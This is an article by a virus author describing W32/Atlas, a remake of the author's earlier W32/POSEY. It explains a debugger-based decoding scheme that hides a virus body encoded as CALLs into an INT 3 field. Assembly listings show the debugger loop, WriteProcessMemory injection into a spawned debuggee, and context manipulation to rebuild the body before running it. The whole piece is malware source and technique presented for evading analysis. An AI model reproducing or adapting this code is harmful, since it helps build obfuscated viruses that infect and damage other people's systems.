Debug Assisted Decoding By hh86 About Atlas This is an old project I had. I worked on it one night a year ago but did not work on it any further. Source code was lost. But now I have a new one. This is also a remake of W32/POSEY (Peter Ferrie called it W32/Tussie, see Virus Bulletin, August 2012). I have no idea why they change the name to my code, but I call this one W32/Atlas. It is my first virus to implement debugging techniques. Life, the Universe and... Sure enough we all know what a debugger is. Sometimes used with good benefits, sometimes not enough. In Windows you can create your own debugger using a few powerful functions. In W32/POSEY, I implemented a tiny but nice technique to obfuscate a virus by encoding it in instructions. Specifically, I used CALLs and 256 INT 3s. All you need to do is calculate the distance from the beginning of an INT 3 field to the place where an exception has just happened. The distance represents the decoded byte. This is possible because of Virtual Address Space, and Structured Exception Handling. This technique can be applied in 64-bit but you need to add an Exception Directory to the file. In order to catch such exceptions, a custom (decoder) SEH handler (which would gather the necessary data from exception records and context) is very required. W32/Atlas is the same concept, but it is a debugger (and remote SEH handler). Debug Gravitation Atlas drops a PE file, with no code. So it is just headers, we fill it with code during the first steps of debugging. Next, is to create the process in debug mode. If the process is successfully created we wait for a debug event to happen. push esi push esi push ebx push ebx push DEBUG_PROCESS push ebx push ebx push ebx push ebx push edi call CreateProcessA Step 1 In fact, many will happen, but ignore them all, unless it is an exception event. The first exception event (if everything goes according to plan) should happen right before the system runs the code at debugee entrypoint. Atlas checks an internal flag (boolean). If the flag is not set, this is the first exception, and we must fill debugee's code section with the encoded body, then we let this event pass with DBG_CONTINUE. If the flag was set, this could mean that we just hit an INT 3 in the INT 3 field, we assume it did and proceed to decode. If the exception event was no breakpoint, we let it pass with DBG_EXCEPTION_NOT_HANDLED, this will cause the process to crash, and go to step 3. init_dbg label near push TIMEWAIT push edi call WaitForDebugEvent cmp dword ptr [edi + DEBUG_EVENT.dwDebugEventCode], EXCEPTION_DEBUG_EVENT jne debug_pass cmp dword ptr [edi + DEBUG_EVENT.u.Exception.pExceptionRecord.ExceptionCode], EXCEPTION_BREAKPOINT jne debug_excp cmp ExceptionFlag, bl jne debug_stde push ebx push esp push "hh86" ;encoded body size push "hh86" ;encoded body address push 401000h push dword ptr [esi + PROCESS_INFORMATION2.hProcess] call WriteProcessMemory pop eax inc ExceptionFlag debug_pass label near push DBG_CONTINUE debug_pstk label near push dword ptr [edi + DEBUG_EVENT.dwThreadId] push dword ptr [edi + DEBUG_EVENT.dwProcessId] call ContinueDebugEvent dec eax jz debug_event ;finished debugging, do your checks here debug_excp label near push DBG_EXCEPTION_NOT_HANDLED jmp debug_pstk Step 2, tidal force. The code reads debugee's context, this is so we can get the current stack pointer. We read the dword in the stack. The dword is the address of the next CALL. We adjust in the context the EIP register to that address. Then from the debug exception event data we get the exception address, then substract to it the address of the INT 3 field. Update debugee's context and let the event pass with DBG_CONTINUE. After every CALL is executed, a code (return to invalid address) will cause an exception other than a breakpoint, and in step 1 the debugger lets the debugee crash, and step 3 will be run. mov ecx, "hh86" ;address of CONTEXT buffer mov dword ptr [ecx + CONTEXT.ContextFlags], CONTEXT_FULL mov eax, dword ptr [esi + PROCESS_INFORMATION2.hThread] push ecx ;SetThreadContext push eax ;SetThreadContext push ecx push ecx push eax call GetThreadContext pop ecx push ebx mov edx, esp push ecx push ebx push esp push sizeof CONTEXT.regEsp push edx push dword ptr [ecx + CONTEXT.regEsp] push dword ptr [esi + PROCESS_INFORMATION2.hProcess] call ReadProcessMemory pop eax pop ecx pop dword ptr [ecx + CONTEXT.regEip] mov eax, dword ptr [edi + DEBUG_EVENT.u.Exception.pExceptionRecord.ExceptionAddress] sub eax, "hh86" ;address of INT 3 field in child process virtual space mov edx, "hh86" ;address of our buffer for decoding mov byte ptr [edx], al call SetThreadContext jmp debug_pass Step 3 This is just a simple check, we check that the number of decoded bytes match that of the unencoded body size. If it does not, we close handlers of the process and thread, and leave. If it does, we assume that the body was correctly decoded and we run it. Outro It is so funny that most viruses attempt to escape from debuggers and some use the functions to inject code into other process, but why do that when it is so funny to be a virus and a debugger at the same time? ;) hh86 November 2012 5f3bc5221626b2f8d66261fb073394{at}gmail.com